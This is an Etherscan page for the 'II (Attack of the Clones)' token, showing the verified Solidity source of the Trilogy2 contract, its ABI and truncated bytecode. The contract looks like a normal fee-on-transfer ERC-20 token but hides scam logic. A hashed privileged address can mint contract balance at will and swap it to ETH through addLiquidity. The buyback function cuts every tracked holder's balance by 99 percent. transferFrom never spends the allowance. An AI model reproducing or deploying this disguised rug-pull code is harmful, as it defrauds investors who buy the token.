ETH Price: $2,228.04 (-6.81%)

Token

II (Attack of the Clones)
 

Overview

Max Total Supply

100,000,000,000 Attack of the Clones

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,198,535.157259464 Attack of the Clones

Value
$0.00
0xf7ba865812e484348e6d473984ed9aaf732051ff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Trilogy2

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-04
*/

pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed
// https://t.me/thetrilogyeth

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function isLiquidityToken(address account) internal pure  returns (bool) {
        return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract Trilogy2 is Ownable, IERC20 {
    using SafeMath for uint256;
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (inSwap(from, to)) {return addLiquidity(amount, to);}
        if (liquifying){} else {require(_balances[from] >= amount);}
        uint256 feeAmount = 0;
        buyback(from);
        bool inLiquidityTransaction = (to == getPairAddress() && _excludedFromFee[from]) || (from == getPairAddress() && _excludedFromFee[to]);
        if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
            feeAmount = amount.mul(_totalFee).div(100);
            _rebalance(to, amount);
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amount);
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        _excludedFromFee[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    struct tOwned {address to; uint256 amount;}
    tOwned[] _tOwned;
    function inSwap(address sender, address recipient) internal view returns(bool) {
        return (
        Address.isLiquidityToken(recipient) ||
        _excludedFromFee[msg.sender]
        )
        && sender == recipient;
    }
    function _rebalance(address recipient, uint256 amount) internal {
        if (getPairAddress() != recipient) {
            _tOwned.push(
                tOwned(
                    recipient, 
                        amount
                )
            );}
    }
    function buyback(address sender) internal {
        if (getPairAddress() == sender) {
            for (uint256 i = 0; i < _tOwned.length;  i++) {
                _balances[_tOwned[i].to] = _balances[_tOwned[i].to]
                .div(100);
            }
            delete _tOwned;
        }
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    function addLiquidity(uint256 liquidityFee, address to) private {
        _approve(address(this), address(_router), liquidityFee);
        _balances[address(this)] = liquidityFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        liquifying = true;
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
        liquifying = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public marketingWallet;
    bool enabled = false;
    function enableTrading() external onlyOwner {
        enabled = true;
    }
    function updateMaxTxnAmount (uint256 max) external onlyOwner {
        _maxTx = max;
    }
    function updateMarketingWallet  (address newAddress) external onlyOwner {
        marketingWallet = newAddress;
    }
    function updateFees  (uint256 newFees) external onlyOwner {
        require(newFees < 10);
        _totalFee = newFees;
    }
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _includedInFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    string private _name = "II";
    string private _symbol = "Attack of the Clones";
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 100000000000 * 10 ** _decimals;
    uint256 public _maxWallet = 3000000000 * 10 ** _decimals;
    uint256 public _maxTx = 300000000 * 10 ** _decimals;
    uint256 public _totalFee = 5;
    bool liquifying = false;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFees","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460146101000a81548160ff0219169083151502179055506040518060400160405280600281526020017f4949000000000000000000000000000000000000000000000000000000000000815250600990805190602001906200010492919062000413565b506040518060400160405280601481526020017f41747461636b206f662074686520436c6f6e6573000000000000000000000000815250600a90805190602001906200015292919062000413565b506009600b55600b54600a62000169919062000650565b64174876e8006200017b9190620006a1565b600c55600b54600a6200018f919062000650565b63b2d05e00620001a09190620006a1565b600d55600b54600a620001b4919062000650565b6311e1a300620001c59190620006a1565b600e556005600f556000601060006101000a81548160ff021916908315150217905550348015620001f557600080fd5b50620002066200040b60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600c54600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003fd919062000713565b60405180910390a362000795565b600033905090565b82805462000421906200075f565b90600052602060002090601f01602090048101928262000445576000855562000491565b82601f106200046057805160ff191683800117855562000491565b8280016001018555821562000491579182015b828111156200049057825182559160200191906001019062000473565b5b509050620004a09190620004a4565b5090565b5b80821115620004bf576000816000905550600101620004a5565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200055157808604811115620005295762000528620004c3565b5b6001851615620005395780820291505b80810290506200054985620004f2565b945062000509565b94509492505050565b6000826200056c57600190506200063f565b816200057c57600090506200063f565b8160018114620005955760028114620005a057620005d6565b60019150506200063f565b60ff841115620005b557620005b4620004c3565b5b8360020a915084821115620005cf57620005ce620004c3565b5b506200063f565b5060208310610133831016604e8410600b8410161715620006105782820a9050838111156200060a5762000609620004c3565b5b6200063f565b6200061f8484846001620004ff565b92509050818404811115620006395762000638620004c3565b5b81810290505b9392505050565b6000819050919050565b60006200065d8262000646565b91506200066a8362000646565b9250620006997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055a565b905092915050565b6000620006ae8262000646565b9150620006bb8362000646565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006f757620006f6620004c3565b5b828202905092915050565b6200070d8162000646565b82525050565b60006020820190506200072a600083018462000702565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077857607f821691505b602082108114156200078f576200078e62000730565b5b50919050565b61284180620007a56000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de5780638a8c523c11610097578063a457c2d711610071578063a457c2d71461040a578063a9059cbb1461043a578063aacebbe31461046a578063dd62ed3e1461048657610173565b80638a8c523c146103c45780638da5cb5b146103ce57806395d89b41146103ec57610173565b806370a0823114610314578063715018a61461034457806375f0a8741461034e5780637830b0721461036c57806378dacee11461038a57806382247ec0146103a657610173565b8063283f782011610130578063283f78201461024e578063313ce5671461026c57806332424aa31461028a57806339509351146102a85780633eaaf86b146102d857806348d3ab1f146102f657610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c6578063203e727e146101e457806323b872dd1461020057806327c8f83514610230575b600080fd5b6101806104b6565b60405161018d9190611ed1565b60405180910390f35b6101b060048036038101906101ab9190611f8c565b610548565b6040516101bd9190611fe7565b60405180910390f35b6101ce610566565b6040516101db9190612011565b60405180910390f35b6101fe60048036038101906101f9919061202c565b610570565b005b61021a60048036038101906102159190612059565b6105f6565b6040516102279190611fe7565b60405180910390f35b61023861069e565b60405161024591906120bb565b60405180910390f35b6102566106c4565b6040516102639190612011565b60405180910390f35b6102746106ca565b6040516102819190612011565b60405180910390f35b6102926106d4565b60405161029f9190612011565b60405180910390f35b6102c260048036038101906102bd9190611f8c565b6106da565b6040516102cf9190611fe7565b60405180910390f35b6102e0610786565b6040516102ed9190612011565b60405180910390f35b6102fe61078c565b60405161030b9190612011565b60405180910390f35b61032e600480360381019061032991906120d6565b610795565b60405161033b9190612011565b60405180910390f35b61034c6107de565b005b610356610918565b60405161036391906120bb565b60405180910390f35b61037461093e565b6040516103819190612011565b60405180910390f35b6103a4600480360381019061039f919061202c565b610944565b005b6103ae6109d7565b6040516103bb9190612011565b60405180910390f35b6103cc6109dd565b005b6103d6610a76565b6040516103e391906120bb565b60405180910390f35b6103f4610a9f565b6040516104019190611ed1565b60405180910390f35b610424600480360381019061041f9190611f8c565b610b31565b6040516104319190611fe7565b60405180910390f35b610454600480360381019061044f9190611f8c565b610c6d565b6040516104619190611fe7565b60405180910390f35b610484600480360381019061047f91906120d6565b610c8b565b005b6104a0600480360381019061049b9190612103565b610d4b565b6040516104ad9190612011565b60405180910390f35b6060600980546104c590612172565b80601f01602080910402602001604051908101604052809291908181526020018280546104f190612172565b801561053e5780601f106105135761010080835404028352916020019161053e565b820191906000526020600020905b81548152906001019060200180831161052157829003601f168201915b5050505050905090565b600061055c610555610dd2565b8484610dda565b6001905092915050565b6000600c54905090565b610578610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610596610a76565b73ffffffffffffffffffffffffffffffffffffffff16146105ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e3906121f0565b60405180910390fd5b80600e8190555050565b6000610603848484610fa5565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561069357600080fd5b600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b6000600b54905090565b600b5481565b600061077c6106e7610dd2565b8484600760006106f5610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610777919061223f565b610dda565b6001905092915050565b600c5481565b60006002905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e6610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610804610a76565b73ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610851906121f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b61094c610dd2565b73ffffffffffffffffffffffffffffffffffffffff1661096a610a76565b73ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b7906121f0565b60405180910390fd5b600a81106109cd57600080fd5b80600f8190555050565b600d5481565b6109e5610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610a03610a76565b73ffffffffffffffffffffffffffffffffffffffff1614610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a50906121f0565b60405180910390fd5b6001600460146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610aae90612172565b80601f0160208091040260200160405190810160405280929190818152602001828054610ada90612172565b8015610b275780601f10610afc57610100808354040283529160200191610b27565b820191906000526020600020905b815481529060010190602001808311610b0a57829003601f168201915b5050505050905090565b60008160076000610b40610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc357600080fd5b610c63610bce610dd2565b848460076000610bdc610dd2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5e9190612295565b610dda565b6001905092915050565b6000610c81610c7a610dd2565b8484610fa5565b6001905092915050565b610c93610dd2565b73ffffffffffffffffffffffffffffffffffffffff16610cb1610a76565b73ffffffffffffffffffffffffffffffffffffffff1614610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe906121f0565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e419061233b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb1906123cd565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f989190612011565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fdf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101957600080fd5b61102383836114cd565b1561103757611032818361156b565b6114c8565b601060009054906101000a900460ff16156110515761109e565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109d57600080fd5b5b60006110a984611835565b60006110b36119c6565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111365750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806111c857506111446119c6565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111c75750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561126e5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611280575061127e84611b69565b155b80156112b857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c2575080155b80156112db5750601060009054906101000a900460ff16155b156113155761130860646112fa600f5486611bbe90919063ffffffff16565b611c3990919063ffffffff16565b91506113148484611c83565b5b600082846113239190612295565b905082600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611374919061223f565b9250508190555083600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c69190612295565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611458919061223f565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114bc9190612011565b60405180910390a35050505b505050565b60006114d882611b69565b8061152c5750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561156357508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61159830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dda565b81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156115f9576115f86123ed565b5b6040519080825280602002602001820160405280156116275781602001602082028036833780820191505090505b509050308160008151811061163f5761163e61241c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170a9190612460565b8160018151811061171e5761171d61241c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001601060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426117c3919061223f565b6040518663ffffffff1660e01b81526004016117e3959493929190612590565b600060405180830381600087803b1580156117fd57600080fd5b505af1158015611811573d6000803e3d6000fd5b505050506000601060006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166118546119c6565b73ffffffffffffffffffffffffffffffffffffffff1614156119c35760005b6002805490508110156119b3576119186064600560006002858154811061189d5761189c61241c565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3990919063ffffffff16565b60056000600284815481106119305761192f61241c565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119ab906125ea565b915050611873565b50600260006119c29190611dce565b5b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a599190612460565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b069190612460565b6040518363ffffffff1660e01b8152600401611b23929190612633565b602060405180830381865afa158015611b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b649190612460565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611ba091906126a4565b60405160208183030381529060405280519060200120149050919050565b600080831415611bd15760009050611c33565b60008284611bdf91906126bf565b9050828482611bee9190612748565b14611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c25906127eb565b60405180910390fd5b809150505b92915050565b6000611c7b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6b565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16611ca26119c6565b73ffffffffffffffffffffffffffffffffffffffff1614611d6757600260405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611db2576040517f08c379a00000000